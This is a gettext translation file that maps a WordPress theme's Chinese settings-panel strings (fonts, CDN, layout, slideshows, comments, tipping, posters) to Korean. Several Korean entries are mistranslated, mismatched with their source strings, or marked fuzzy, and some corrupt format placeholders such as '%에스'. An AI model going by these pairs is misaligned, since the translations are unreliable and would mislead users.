msgid "思源黑体"
msgstr "사위안 흑체"

#: Modules/Settings/Template.php:211
msgid "字体使用默认CDN？"
msgstr "기본 CDN을 사용하는 글꼴?"

#: Modules/Settings/Template.php:215
#, fuzzy
#| msgid "使用默认设置"
msgid "使用默认CDN"
msgstr "기본 설정 사용"

#: Modules/Settings/Template.php:216
msgid "使用我自己的CDN"
msgstr "자체 CDN 사용"

#: Modules/Settings/Template.php:219
msgid ""
"字体文件默认的CDN使用的是jsdelivr.net的服务，某些情况下可能会出现无法加载的情"
"况。如果您要使用自己的CDN，请设置一下下面的CDN地址"
msgstr ""
"글꼴 파일의 기본 CDN은 jsdelivr.net 서비스를 사용하므로 경우에 따라 로드되지 "
"않을 수 있습니다. 자체 CDN을 사용하려면 다음 CDN 주소를 설정하세요."

#: Modules/Settings/Template.php:223
msgid "字体文件CDN地址"
msgstr "글꼴 파일 CDN 주소"

#: Modules/Settings/Template.php:224
#, php-format
msgid ""
"如果您需要将字体文件放到自己的CDN中，请先%s下载字体文件%s，解压后上传到您的"
"CDN或者网站本地，然后在此处填写字体的链接目录，比如您将下载的字体文件放在"
"<code>my/fonts/</code>目录下，那么此处填写<code>https://mycdn.com/my/fonts/</"
"code>，注意最后要斜杠结尾"
msgstr ""
"폰트 파일을 자체 CDN에 넣어야 하는 경우 %s%s 에서 폰트 파일을 다운로드하여 압"
"축을 풀고 CDN 또는 웹사이트에 로컬로 업로드한 다음 여기에 폰트의 링크 디렉토"
"리를 입력하세요(예: 다운로드한 폰트 파일을 <code>my/fonts/</code> 디렉토리에 "
"넣은 경우 여기에 <code>https://mycdn.com/my/fonts/</code> 을 입력하고 마지막"
"에 슬래시에 주의하세요). 끝"

#: Modules/Settings/Template.php:232
msgid "侧边栏宽度"
msgstr "사이드 바 너비"

#: Modules/Settings/Template.php:233
#, php-format
msgid "请填写具体的数值，默认%s"
msgstr "특정 값 (기본값  %s)을 입력하십시오."

#: Modules/Settings/Template.php:240
msgid "网站主色调"
msgstr "웹 사이트 기본 색상"

#: Modules/Settings/Template.php:241
msgid "显示在按钮、链接等需要突出显示的地方。"
msgstr "단추 및 링크와 같이 강조 표시해야하는 위치에 표시됩니다."

#: Modules/Settings/Template.php:248
msgid "网站背景颜色"
msgstr "웹 사이트 배경색"

#: Modules/Settings/Template.php:255
msgid "网站全局背景图片"
msgstr "웹 사이트 배경 이미지"

#: Modules/Settings/Template.php:261 Modules/Settings/Template.php:322
msgid "不显示请留空"
msgstr "표시되지 않으면 공백으로 두십시오."

#: Modules/Settings/Template.php:265
msgid "网站全局背景图片是否重复"
msgstr "웹 사이트 배경 이미지"

#: Modules/Settings/Template.php:269
msgid "背景图片重复显示"
msgstr "반복되는 배경 이미지"

#: Modules/Settings/Template.php:270
msgid "背景图片不重复显示"
msgstr "배경 이미지가 반복되지 않습니다."

#: Modules/Settings/Template.php:271
msgid "顶部模糊背景"
msgstr "상단 흐림 배경"

#: Modules/Settings/Template.php:277
msgid "圆角弧度"
msgstr "모듈 필렛 반경"

#: Modules/Settings/Template.php:278
#, php-format
msgid "全站生效的圆角弧度，默认%s，请带上单位%s"
msgstr ""
"사용자 정의 모듈의 둥근 모서리 반경 (기본값  %s),  %s 단위를 가져 오십시오."

#: Modules/Settings/Template.php:285
msgid "是否开启代码高亮功能"
msgstr "코드 하이라이트 기능 활성화 여부"

#: Modules/Settings/Template.php:286
msgid "此设置全站生效，当代码被&lt;pre&gt;标签包裹起来之后，会自动启用代码高亮"
msgstr ""
"이 설정은 전체 사이트에 적용됩니다. 코드가 & lt; pre & gt; 태그로 래핑되면 코"
"드 강조 표시가 자동으로 활성화됩니다."

#: Modules/Settings/Template.php:301 Modules/Templates/Footer.php:163
msgid "顶部"
msgstr "상단"

#: Modules/Settings/Template.php:309
msgid "顶部背景颜色"
msgstr "상단 헤더 배경색"

#: Modules/Settings/Template.php:316
msgid "顶部背景图片"
msgstr "상단 헤더 배경 이미지"

#: Modules/Settings/Template.php:328
msgid "顶部文字颜色"
msgstr "상단 헤더 텍스트 색상"

#: Modules/Settings/Template.php:335
#, fuzzy
msgid "顶部二级菜单背景颜色"
msgstr "상단 헤더 배경색"

#: Modules/Settings/Template.php:342
#, fuzzy
msgid "顶部二级菜单文字颜色"
msgstr "상단 헤더 텍스트 색상"

#: Modules/Settings/Template.php:349
msgid "顶部布局形式"
msgstr "상단 레이아웃 양식"

#: Modules/Settings/Template.php:353
msgid "LOGO居中"
msgstr "상단에 로고"

#: Modules/Settings/Template.php:354
msgid "LOGO居左"
msgstr "왼쪽 로고"

#: Modules/Settings/Template.php:355
msgid "菜单居中"
msgstr "메뉴 중심"

#: Modules/Settings/Template.php:356
msgid "LOGO居上"
msgstr "상단에 로고"

#: Modules/Settings/Template.php:357
msgid "社交类型菜单"
msgstr "소셜 메뉴"

#: Modules/Settings/Template.php:371
msgid "页面顶部模块宽度"
msgstr "페이지 상단의 모듈 너비"

#: Modules/Settings/Template.php:372
#, php-format
msgid "可以使用%s、%s等符号，使用默认值请留空。"
msgstr ""
"%s,  %s 등과 같은 기호를 사용할 수 있습니다. 기본값을 사용하는 경우 공백으로 "
"두십시오."

#: Modules/Settings/Template.php:403
msgid "主题自带菜单功能"
msgstr "테마는 메뉴 기능과 함께 제공됩니다"

#: Modules/Settings/Template.php:404
msgid ""
"如果您使用了菜单插件或者需要自己DIY顶部菜单代码而出现了兼容问题，请选择关闭主"
"题自带的菜单功能。"
msgstr ""
"메뉴 플러그인을 사용하거나 상위 메뉴 코드를 직접 DIY해야하고 호환성 문제가있"
"는 경우 테마와 함께 제공되는 메뉴 기능을 끄도록 선택하세요."

#: Modules/Settings/Template.php:415
msgid "点击头像要显示的菜单"
msgstr "메뉴를 클릭하면 아바타가 표시됩니다."

#: Modules/Settings/Template.php:416
#, fuzzy
#| msgid "用户登陆状态下，点击头像要显示的菜单。"
msgid "用户登陆状态下，点击头像要显示的菜单，支持拖放排序。"
msgstr "사용자가 로그인하면 프로필 사진에 표시 할 메뉴를 클릭합니다."

#: Modules/Settings/Template.php:421 Modules/Templates/Footer.php:468
#: Modules/Templates/Header.php:669
msgid "私信列表"
msgstr "메시지"

#: Modules/Settings/Template.php:422 Modules/Templates/Header.php:678
#: Pages/gold.php:103 functions.php:1851
msgid "财富管理"
msgstr "지갑관리"

#: Modules/Settings/Template.php:423 Modules/Templates/Header.php:687
#: Pages/distribution.php:16 Pages/distribution.php:126 functions.php:1899
msgid "推广中心"
msgstr "프로모션"

#: Modules/Settings/Template.php:424 Modules/Templates/Header.php:696
#: Pages/task.php:11
msgid "任务中心"
msgstr "임무"

#: Modules/Settings/Template.php:425 Modules/Templates/Header.php:705
#: functions.php:1855
msgid "成为会员"
msgstr "VIP가입"

#: Modules/Settings/Template.php:426 Modules/Templates/Header.php:714
#: functions.php:1859
msgid "认证服务"
msgstr "인증 서비스"

#: Modules/Settings/Template.php:428 Modules/Templates/Footer.php:709
#: Modules/Templates/Header.php:289 Modules/Templates/Header.php:732
#: functions.php:2051
msgid "我的订单"
msgstr "내 주문"

#: Modules/Settings/Template.php:429 Modules/Templates/Header.php:741
#: functions.php:2052
msgid "我的设置"
msgstr "내 설정"

#: Modules/Settings/Template.php:436
msgid "请选择允许搜索的内容，可以拖动排序"
msgstr "표시 할 기사 카테고리를 선택하세요. 드래그하여 정렬 할 수 있습니다."

#: Modules/Settings/Template.php:474
msgid "模块{#}"
msgstr "기준 치수{#}"

#: Modules/Settings/Template.php:484
#, php-format
msgid "模块标题%s"
msgstr "모듈 제목  %s"

#: Modules/Settings/Template.php:490
msgid "给这个模块起个名字，某些模块下会显示这个标题"
msgstr "이 모듈에 이름을 지정하면 일부 모듈에이 제목이 표시됩니다."

#: Modules/Settings/Template.php:495
#, php-format
msgid "模块key%s"
msgstr "모듈 키  %s"

#: Modules/Settings/Template.php:501
#, php-format
msgid ""
"给这个模块起一个%s唯一的标识，纯小写字母，不要有空格或特殊字符%s，一般情况下"
"不需要随意改动，这个key将和它对应的小工具挂钩，模块顺序变了以后不影响小工具的"
"显示，如果改动这个值，它对应的小工具需要重新设置"
msgstr ""
"이 모듈에 소문자  %s로 된 문자가 포함 된  %s의 고유 식별자를 제공합니다. 정상"
"적인 상황에서는 임의로 변경할 필요가 없습니다.이 키는 해당 가젯에 연결됩니"
"다. 모듈 순서가 변경된 후에는 가젯의 표시에 영향을주지 않습니다.이를 변경하"
"면 값, 해당 가젯을 재설정해야합니다."

#: Modules/Settings/Template.php:506 Modules/Settings/Template.php:1121
#: Modules/Settings/Template.php:1325
msgid "模块描述"
msgstr "모듈 설명"

#: Modules/Settings/Template.php:509
msgid "某些模块下会显示这个描述"
msgstr "이 설명은 일부 모듈 아래에 표시됩니다."

#: Modules/Settings/Template.php:514
msgid "是否开启此模块小工具"
msgstr "이 모듈 위젯을 열지 여부"

#: Modules/Settings/Template.php:522
#, php-format
msgid "如果设置开启，保存之后请去%s中对此模块小工具进行设置"
msgstr ""
"설정이 활성화 된 경우 저장 후  %s로 이동하여이 모듈 위젯을 설정하십시오."

#: Modules/Settings/Template.php:527
msgid "此模块小工具是否跟随浏览器滚动"
msgstr "이 모듈의 위젯이 브라우저 스크롤을 따르는 지 여부"

#: Modules/Settings/Template.php:535
msgid "如果开启了小工具模块，此设置才会生效并只在PC端生效"
msgstr "위젯 모듈이 켜져 있으면이 설정이 적용되고 PC 측에만 적용됩니다."

#: Modules/Settings/Template.php:540
msgid "模块背景颜色"
msgstr "모듈 배경색"

#: Modules/Settings/Template.php:544
msgid "某些模块设置背景颜色会生效，如果不设置，显示默认背景颜色，请点击清空"
msgstr ""
"일부 모듈의 배경색이 적용됩니다. 설정하지 않으면 기본 배경색이 표시됩니다. 지"
"우기를 클릭하세요."

#: Modules/Settings/Template.php:549 Modules/Settings/Template.php:2190
msgid "模块背景图片"
msgstr "모듈 배경 이미지"

#: Modules/Settings/Template.php:555
msgid "一些配置低的电脑或手机可能造成卡顿，请尽量上传提交较小的图片"
msgstr ""
"구성이 낮은 일부 컴퓨터 또는 휴대폰은 멈출 수 있습니다. 작은 사진을 업로드하"
"여 제출해주세요."

#: Modules/Settings/Template.php:560
#, fuzzy
msgid "模块[更多]链接"
msgstr "모듈 [더보기] 링크"

#: Modules/Settings/Template.php:563
#, fuzzy
msgid "自定义模块[更多]文字的链接，留空将默认输出文章类型首页网址"
msgstr ""
"사용자 정의 모듈 [more] 텍스트 링크, 기본적으로 기사 유형의 홈페이지 URL을 출"
"력하려면 비워 둡니다."

#: Modules/Settings/Template.php:567
msgid "可见性"
msgstr "시계"

#: Modules/Settings/Template.php:571
msgid "桌面和移动端都显示"
msgstr "데스크톱 및 모바일 디스플레이 모두"

#: Modules/Settings/Template.php:572
msgid "仅桌面可见"
msgstr "바탕 화면 만 표시됩니다."

#: Modules/Settings/Template.php:573
msgid "仅移动端可见"
msgstr "모바일에서만 볼 수 있습니다."

#: Modules/Settings/Template.php:574
msgid "不显示（仅用作短代码调用）"
msgstr "표시 없음 (단축 코드 호출에만 해당)"

#: Modules/Settings/Template.php:582
msgid "幻灯"
msgstr "슬라이드 쇼"

#: Modules/Settings/Template.php:583 Modules/Settings/Template.php:893
#: Modules/Templates/VueTemplates.php:512
msgid "自定义"
msgstr "직접 입력"

#: Modules/Settings/Template.php:594
msgid "调用内容"
msgstr "통화 내용"

#: Modules/Settings/Template.php:627
#, php-format
msgid "请直接填写%s的分类ID，查看：%s链接分类%s"
msgstr "보려면 %s의 카테고리 ID를 직접 입력하세요. %s링크 카테고리%s"

#: Modules/Settings/Template.php:631
#, fuzzy, php-format
msgid "是否包含子%s分类中的链接"
msgstr "하위 카테고리에 링크를 포함할지 여부"

#: Modules/Settings/Template.php:639
#, php-format
msgid ""
"如果此%s分类中有子%s分类，您可以选择是否显示子%s分类中的链接，注意，如果子%s"
"分类特别多（大于20个）可能会有性能问题。"
msgstr ""
"이 %s 카테고리에 하위 카테고리 %s가 있는 경우 하위 카테고리 %s에 링크를 표시"
"할지 여부를 선택할 수 있습니다. 하위 카테고리가 너무 많으면(20개 이상) 성능 "
"문제가 발생할 수 있습니다. ) %s에서."

#: Modules/Settings/Template.php:685
#, php-format
msgid "子%s分类"
msgstr "%s분류"

#: Modules/Settings/Template.php:713
msgid "搜索标题"
msgstr "문서 홈 검색 제목"

#: Modules/Settings/Template.php:720
msgid "搜索描述"
msgstr "검색 설명"

#: Modules/Settings/Template.php:727
msgid "搜索框内描述文字"
msgstr "검색 창의 설명 텍스트"

#: Modules/Settings/Template.php:734
msgid "文字颜色"
msgstr "상단 헤더 텍스트 색상"

#: Modules/Settings/Template.php:741
msgid "允许搜索的分类"
msgstr "검색이 허용 된 카테고리"

#: Modules/Settings/Template.php:748
msgid "热门搜索关键词"
msgstr "인기 검색 키워드"

#: Modules/Settings/Template.php:751
msgid "请输入关键词，每个关键词占一行，留空则不显示"
msgstr ""
"제품 ID를 입력하세요. 각 ID는 한 줄을 차지합니다. 쿠폰 정보를 표시하지 않으려"
"면 공백으로 두십시오."

#: Modules/Settings/Template.php:757
msgid "搜索模块的宽度"
msgstr "모듈 너비 검색"

#: Modules/Settings/Template.php:761 Modules/Settings/Template.php:824
#: Modules/Settings/Template.php:908
msgid "与页面同宽"
msgstr "페이지와 같은 너비"

#: Modules/Settings/Template.php:762 Modules/Settings/Template.php:825
#: Modules/Settings/Template.php:909
msgid "铺满窗口"
msgstr "창 포장"

#: Modules/Settings/Template.php:768
msgid "大幻灯"
msgstr "큰 슬라이드"

#: Modules/Settings/Template.php:769
msgid "小幻灯1"
msgstr "작은 슬라이드 1"

#: Modules/Settings/Template.php:770
msgid "小幻灯2"
msgstr "작은 슬라이드 2"

#: Modules/Settings/Template.php:771
msgid "小幻灯3"
msgstr "작은 슬라이드 3"

#: Modules/Settings/Template.php:772
msgid "小幻灯5"
msgstr "작은 슬라이드 5"

#: Modules/Settings/Template.php:773
msgid "小幻灯6"
msgstr "작은 슬라이드 6"

#: Modules/Settings/Template.php:788
msgid "幻灯样式"
msgstr "슬라이드 스타일"

#: Modules/Settings/Template.php:801
msgid "幻灯内容"
msgstr "슬라이드 쇼 콘텐츠"

#: Modules/Settings/Template.php:804
#, fuzzy, php-format
msgid ""
"支持所有文章类型（文章，活动，商品等），每组占一行，排序与此设置相同，请设置"
"最少6几个，否则可能有些形式的幻灯显示不全。图片可以在%s上传或选择。\n"
"            %s\n"
"            支持的格式如下：\n"
"            %s"
msgstr ""
"모든 기사 유형 (기사, 이벤트, 제품 등)을 지원하고 각 그룹은 한 줄을 차지하며 "
"정렬은이 설정과 동일합니다.  %s에서 사진을 업로드하거나 선택할 수 있습니다.\n"
"            %에스\n"
"            지원되는 형식은 다음과 같습니다.\n"
"            %에스"

#: Modules/Settings/Template.php:819
msgid "幻灯宽度"
msgstr "슬라이드 폭"

#: Modules/Settings/Template.php:830
msgid "幻灯的高度"
msgstr "슬라이드 높이"

#: Modules/Settings/Template.php:834
#, php-format
msgid "只支持具体的数值，比如%s"
msgstr "%s와 같은 특정 값만 지원합니다."

#: Modules/Settings/Template.php:838
msgid "幻灯之间的间距"
msgstr "슬라이드 사이의 공간"

#: Modules/Settings/Template.php:842
msgid "某些幻灯模式下不会生效，请直接填写数字（只在PC端生效）"
msgstr ""
"일부 슬라이드 쇼는 적용되지 않습니다. 숫자를 직접 입력하십시오 (PC에서만 적"
"용)."

#: Modules/Settings/Template.php:859
msgid "是否显示幻灯标题"
msgstr "슬라이드 쇼 제목 표시 여부"

#: Modules/Settings/Template.php:870 Modules/Settings/Template.php:1309
msgid "是否新窗口打开"
msgstr "새 창을 열지 여부"

#: Modules/Settings/Template.php:875
msgid "原创窗口打开"
msgstr "원래 창이 열립니다"

#: Modules/Settings/Template.php:882
msgid "幻灯切换速度"
msgstr "슬라이드 쇼 전환 속도"

#: Modules/Settings/Template.php:886
#, php-format
msgid "设为%s则禁止自动切换，设为具体的数值，比如%s，则4秒切换一次"
msgstr ""
"자동 전환을 금지하려면  %s로 설정하고, 4 초마다 전환하려면  %s와 같은 특정 값"
"을 설정하십시오."

#: Modules/Settings/Template.php:896
#, php-format
msgid "自定义模块支持html和php，如果写php代码，请不要忘记 %s 和 %s 符号。"
msgstr ""
"사용자 정의 모듈은 html 및 php를 지원합니다. php 코드를 작성하는 경우 %s 및 "
"%s 기호를 잊지 마십시오."

#: Modules/Settings/Template.php:903
msgid "自定义HTML宽度"
msgstr "맞춤 HTML"

#: Modules/Settings/Template.php:969
msgid "最新文章"
msgstr "최신 기사"

#: Modules/Settings/Template.php:971
msgid "随机文章"
msgstr "무작위 기사"

#: Modules/Settings/Template.php:972
msgid "置顶文章"
msgstr "톱 기사"

#: Modules/Settings/Template.php:973
msgid "浏览最多文章"
msgstr "가장 많이 본 기사"

#: Modules/Settings/Template.php:974
msgid "评论最多文章"
msgstr "대부분의 댓글이 달린 기사"

#: Modules/Settings/Template.php:976
msgid ""
"请注意，由于wp的机制问题，如果下面的文章分类为空，则置顶文章会始终显示在最前"
"面，选择了文章分类，则置顶不会生效。"
msgstr ""
"wp의 메커니즘으로 인해 아래 기사 카테고리가 비어 있는 경우 맨 위에 있는 기사"
"가 항상 맨 위에 표시됩니다. 기사 카테고리를 선택하면 맨 위 기사가 적용되지 않"
"습니다."

#: Modules/Settings/Template.php:1046
msgid "PC缩略图端宽度"
msgstr "[목록 모드] PC 썸네일 끝 너비"

#: Modules/Settings/Template.php:1116 Modules/Settings/Template.php:1230
msgid "文章meta选择"
msgstr "기사 메타 선택"

#: Modules/Settings/Template.php:1122 Modules/Settings/Template.php:1236
msgid "导航"
msgstr "항해"

#: Modules/Settings/Template.php:1138
msgid "是否显示加载更多按钮"
msgstr "추가로드 버튼 표시 여부"

#: Modules/Settings/Template.php:1162
msgid "要显示的商品id"
msgstr "표시 할 항목의 ID"

#: Modules/Settings/Template.php:1165
#, php-format
msgid ""
"请输入商品的ID，每个ID占一行，留空则不显示。如果要显示最新的商品，请填"
"写%snew|6%s。后面的6是要显示的数量"
msgstr ""
"제품의 ID를 입력하십시오. 각 ID는 한 줄을 차지하며 표시되지 않으려면 공백으"
"로 두십시오. 최신 항목을 표시하려면 %snew|6%s을 입력하세요. 뒤에 6은 표시할 "
"숫자입니다."

#: Modules/Settings/Template.php:1182
#, fuzzy
#| msgid "要显示的商品id"
msgid "要显示的商品分类"
msgstr "표시 할 항목의 ID"

#: Modules/Settings/Template.php:1186
msgid "如果选择了商品分类，则上面设置的商品ID不会生效。"
msgstr "제품 카테고리를 선택하면 위에서 설정한 제품 ID는 적용되지 않습니다."

#: Modules/Settings/Template.php:1190
msgid "要显示的优惠劵id"
msgstr "표시 할 쿠폰 ID"

#: Modules/Settings/Template.php:1193
msgid "请输入优惠劵的ID，每个ID占一行，留空则不显示优惠劵信息"
msgstr ""
"쿠폰의 아이디를 입력하세요. 아이디는 한 줄씩 차지하며, 쿠폰 정보를 표시하지 "
"않으려면 비워 두세요."

#: Modules/Settings/Template.php:1200
msgid "请直接填写每行要显示的数量"
msgstr "각 라인에 표시 할 수량을 직접 입력 해주세요."

#: Modules/Settings/Template.php:1211
msgid "商品缩略图比例"
msgstr "제품 축소판 비율"

#: Modules/Settings/Template.php:1215 Modules/Settings/Template.php:1305
#, php-format
msgid "请填写宽和高的比例，比如%s，%s"
msgstr "너비와 높이의 비율 (예 :  %s,  %s)을 입력하십시오."

#: Modules/Settings/Template.php:1237
msgid "优惠卷"
msgstr "보증인"

#: Modules/Settings/Template.php:1245
#, php-format
msgid "%s样式"
msgstr "%s 스타일"

#: Modules/Settings/Template.php:1249
msgid "左图右文"
msgstr "왼쪽 그림 오른쪽 텍스트"

#: Modules/Settings/Template.php:1250
msgid "上图下文"
msgstr "위아래"

#: Modules/Settings/Template.php:1266 Modules/Settings/Template.php:1349
#, fuzzy, php-format
msgid "要显示的%s"
msgstr "표시 할 주제"

#: Modules/Settings/Template.php:1293
#, fuzzy, php-format
msgid "下面显示几篇此%s的文章"
msgstr "이 주제에 대한 몇 가지 기사가 아래에 나와 있습니다."

#: Modules/Settings/Template.php:1296
#, fuzzy, php-format
msgid "如果设置为0，将不在这里显示此%s的文章"
msgstr "0으로 설정하면이 주제에 대한 기사가 여기에 표시되지 않습니다."

#: Modules/Settings/Template.php:1301
#, fuzzy, php-format
msgid "%s缩略图比例"
msgstr "축소판 비율"

#: Modules/Settings/Template.php:1320 Modules/Settings/Template.php:1373
#, fuzzy, php-format
msgid "%smeta选择"
msgstr "메타 선택"

#: Modules/Settings/Template.php:1353
#, php-format
msgid "如果%s中无话题，此%s将不可选"
msgstr "%s에 주제가 없으면 이 %s을(를) 선택할 수 없습니다."

#: Modules/Settings/Template.php:1357
#, fuzzy, php-format
msgid "每行显示几个%s"
msgstr "라인 당 수량 표시"

#: Modules/Settings/Template.php:1361
msgid "只在PC端生效，移动端始终每行显示一个"
msgstr "PC 쪽에만 적용되며 모바일 쪽에는 항상 한 줄에 하나씩 표시됩니다."

#: Modules/Settings/Template.php:1365
#, php-format
msgid "显示%s下的几条话题"
msgstr "%s 아래에 여러 스레드 표시"

#: Modules/Settings/Template.php:1369
msgid "设置为0，将不显示帖子"
msgstr "0으로 설정하면이 주제에 대한 기사가 여기에 표시되지 않습니다."

#: Modules/Settings/Template.php:1378
msgid "显示更多"
msgstr "더 표시"

#: Modules/Settings/Template.php:1384
msgid "短代码"
msgstr "짧은 코드"

#: Modules/Settings/Template.php:1391
msgid "此模块的短代码，不可编辑，您可以在站点的任何地方，调用此短代码"
msgstr ""
"이 모듈의 단축 코드는 편집 할 수 없습니다. 사이트의 어느 곳에서나이 단축 코드"
"를 호출 할 수 있습니다."

#: Modules/Settings/Template.php:1415
msgid "评论设置"
msgstr "댓글 설정"

#: Modules/Settings/Template.php:1424
msgid "是否关闭评论功能"
msgstr "댓글 기능 해제 여부"

#: Modules/Settings/Template.php:1428
msgid ""
"如果关闭，整个网站都讲不显示评论列表和评论框，一般站点在备案的时候用得上。"
msgstr ""
"폐쇄 된 경우 웹 사이트 전체에 댓글 목록과 댓글 상자가 표시되지 않으며, 일반적"
"으로 웹 사이트에서 제출할 수 있습니다."

#: Modules/Settings/Template.php:1437
msgid "是否允许添加表情"
msgstr "이모티콘 허용 여부"

#: Modules/Settings/Template.php:1449
msgid "是否允许添加图片"
msgstr "사진 추가 허용 여부"

#: Modules/Settings/Template.php:1461
msgid "评论分页类型"
msgstr "댓글 페이지 매김 유형"

#: Modules/Settings/Template.php:1466
msgid "ajax分页"
msgstr "아약스 페이징"

#: Modules/Settings/Template.php:1467
msgid "无限加载"
msgstr "무제한 로딩"

#: Modules/Settings/Template.php:1469
#, php-format
msgid "无限加载模式需要%s中设置为%s"
msgstr "무한 로딩 모드는  %s에서  %s (으)로 설정해야합니다."

#: Modules/Settings/Template.php:1474
msgid "评论顶部提示"
msgstr "댓글 상단의 팁"

#: Modules/Settings/Template.php:1478
#, fuzzy, php-format
msgid ""
"这是一个小提示的功能，显示在评论列表顶部，不显示请直接留空，不显示链接，请直"
"接填写标题。格式：%s或者%s，每条占一行"
msgstr ""
"댓글 목록 상단에 표시되는 작은 알림 기능입니다. 표시되지 않는 경우 비워 두세"
"요. 링크가 표시되지 않는 경우 제목을 직접 입력하세요. 형식 :  %s, 한 줄에 한 "
"줄"

#: Modules/Settings/Template.php:1486
msgid "文章内页"
msgstr "페이지 내부 기사"

#: Modules/Settings/Template.php:1495
#, fuzzy
msgid "DogeCloud AccessKey"
msgstr "DogeCloud 액세스 키"

#: Modules/Settings/Template.php:1498
#, fuzzy, php-format
msgid ""
"如果视频要使用 DogeCloud 请在此输入 DogeCloud AccessKey，请前往 %sDogecloud "
"后台%s查看。"
msgstr ""
"동영상에 DogeCloud를 사용하려면 여기에 DogeCloud AccessKey를 입력하고 "
"%sDogecloud 백엔드%s로 이동하여 동영상을 확인하세요."

#: Modules/Settings/Template.php:1502
#, fuzzy
msgid "DogeCloud SecretKey"
msgstr "비밀 키"

#: Modules/Settings/Template.php:1505
#, fuzzy, php-format
msgid ""
"如果视频要使用 DogeCloud 请在此输入 DogeCloud SecretKey，请前往 %sDogecloud "
"后台%s查看。"
msgstr ""
"동영상에 DogeCloud를 사용하려면 여기에 DogeCloud SecretKey를 입력하고 "
"%sDogecloud 백엔드%s로 이동하여 동영상을 확인하세요."

#: Modules/Settings/Template.php:1509
#, fuzzy
msgid "文章内页底部版权申明设置"
msgstr "기사 내부 페이지 하단의 저작권 문구 설정"

#: Modules/Settings/Template.php:1512
#, fuzzy, php-format
msgid ""
"设置之后将会显示在文章内容的底部，一般作为版权申明，支持html。留空则不显示。"
"比如：%s"
msgstr ""
"설정 후에는 일반적으로 html을 지원하는 저작권 표시로 기사 내용 하단에 표시됩"
"니다. 표시하지 않으려면 공백으로 둡니다. 예: %s"

#: Modules/Settings/Template.php:1516
#, fuzzy
msgid "是否启用上一篇，下一篇功能"
msgstr "프로모션 기능 활성화 여부"

#: Modules/Settings/Template.php:1523
#, fuzzy
msgid "文章内页中，是否显示上一篇，下一篇功能，关闭它可以提高运行速度。"
msgstr ""
"기사 내부 페이지에서 이전 기사와 다음 기사의 기능을 표시할지 여부를 끄면 실"
"행 속도를 향상시킬 수 있습니다."

#: Modules/Settings/Template.php:1530
msgid "文章内页模块默认布局"
msgstr "기사 내부 페이지 모듈의 기본 레이아웃"

#: Modules/Settings/Template.php:1533
msgid "如果您没有对单篇文章的布局进行设置，则此处设置默认生效"
msgstr ""
"단일 기사의 레이아웃을 설정하지 않은 경우 여기의 설정이 기본적으로 적용됩니"
"다."

#: Modules/Settings/Template.php:1540
msgid "默认文章样式"
msgstr "기본 기사 스타일"

#: Modules/Settings/Template.php:1543 Modules/Settings/Template.php:1567
#: Modules/Settings/Template.php:1580 Modules/Settings/Template.php:1593
#: Modules/Settings/Template.php:1616 Modules/Settings/Template.php:1626
msgid "优先显示文章中的此项设置，如果文章中未设置，则此处设置生效"
msgstr ""
"기사의이 설정이 먼저 표시되며, 기사에 설정되지 않은 경우 여기의 설정이 적용됩"
"니다."

#: Modules/Settings/Template.php:1624
#, fuzzy
#| msgid "文章顶部广告位代码"
msgid "文章底部广告位代码"
msgstr "기사 상단의 광고 슬롯 코드"

#: Modules/Settings/Template.php:1635
msgid "打赏设置"
msgstr "보상 설정"

#: Modules/Settings/Template.php:1638
msgid "打赏的相关参数"
msgstr "보상에 대한 관련 매개 변수"

#: Modules/Settings/Template.php:1646
msgid "是否启用打赏功能"
msgstr "보상 기능 활성화 여부"

#: Modules/Settings/Template.php:1650
msgid "文章内页的打赏功能"
msgstr "기사 내부 페이지의 팁"

#: Modules/Settings/Template.php:1658
msgid "打赏别名"
msgstr "보상 별칭"

#: Modules/Settings/Template.php:1661 Modules/Settings/Template.php:1669
msgid "打赏按钮前面的提示文字"
msgstr "보상 버튼 앞의 프롬프트 텍스트"

#: Modules/Settings/Template.php:1666
msgid "打赏提示文字"
msgstr "알림 텍스트 없음"

#: Modules/Settings/Template.php:1674
msgid "没有打赏的提示文字"
msgstr "알림 텍스트 없음"

#: Modules/Settings/Template.php:1677
msgid "没有人打赏的时候，提示的文字"
msgstr "아무도 보람없는 경우 프롬프트 텍스트"

#: Modules/Settings/Template.php:1682
msgid "默认打赏金额"
msgstr "기본 보상 금액"

#: Modules/Settings/Template.php:1685
#, php-format
msgid "请填写默认的金额，数量为5个，每个金额使用竖杠符号%s隔开，默认为%s"
msgstr ""
"기본 금액을 입력하세요. 숫자는 5이며 각 금액은 세로 막대 기호  %s로 구분되며 "
"기본값은  %s입니다."

#: Modules/Settings/Template.php:1692
msgid "海报设置"
msgstr "포스터 설정"

#: Modules/Settings/Template.php:1695
msgid "生成海报的相关参数"
msgstr "포스터 생성 관련 매개 변수"

#: Modules/Settings/Template.php:1703
#, fuzzy
msgid "是否使用代理生成海报"
msgstr "프록시를 사용하여 포스터를 생성할지 여부"

#: Modules/Settings/Template.php:1710
#, fuzzy
msgid ""
"有些站点因为防盗链、跨域等问题无法生成海报，可以开启代理，通过代理生成，但是"
"相应的速度也会降低。如果您的海报无法显示，尝试可以尝试关闭或者开启代理"
msgstr ""
"일부 사이트는 안티-리치 및 크로스 도메인 문제로 인해 포스터를 생성 할 수 없습"
"니다. 프록시를 켜고 프록시를 통해 생성 할 수 있지만 해당 속도가 저하됩니다."

#: Modules/Settings/Template.php:1716
msgid "海报默认特色图"
msgstr "포스터 기본 추천 이미지"

#: Modules/Settings/Template.php:1722
msgid ""
"当您的文章没有特色图，或者无法获取到您的特色图，海报将显示此默认特色图（请使"
"用本地图片，不要使用远程图片）"
msgstr ""
"기사에 추천 이미지가 없거나 추천 이미지를 얻을 수없는 경우 포스터에이 기본 추"
"천 이미지가 표시됩니다 (로컬 이미지를 사용하고 원격 이미지를 사용하지 마십시"
"오)."

#: Modules/Settings/Template.php:1728
msgid "海报中显示的网站LOGO"
msgstr "포스터에 표시된 웹 사이트 로고"

#: Modules/Settings/Template.php:1734
msgid "请使用本地图片，不要使用远程图片，不支持SVG格式"
msgstr ""
"로컬 사진을 사용하고 원격 사진을 사용하지 마십시오. SVG 형식은 지원되지 않습"
"니다."

#: Modules/Settings/Template.php:1740
msgid "海报中显示的网站名称"
msgstr "포스터에 표시된 사이트 이름"

#: Modules/Settings/Template.php:1747
msgid "海报中显示的网站描述"
msgstr "포스터에 표시된 웹 사이트 설명"

#: Modules/Settings/Template.php:1757
msgid "分类筛批量设置"
msgstr "분류 및 체질 배치 설정"

#: Modules/Settings/Template.php:1767
msgid "添加筛选"
msgstr "필터 추가"

#: Modules/Settings/Template.php:1770
msgid "筛选{#}"
msgstr "필터 {#}"

#: Modules/Settings/Template.php:1771
msgid "添加新筛选"
msgstr "새 필터 추가"

#: Modules/Settings/Template.php:1772
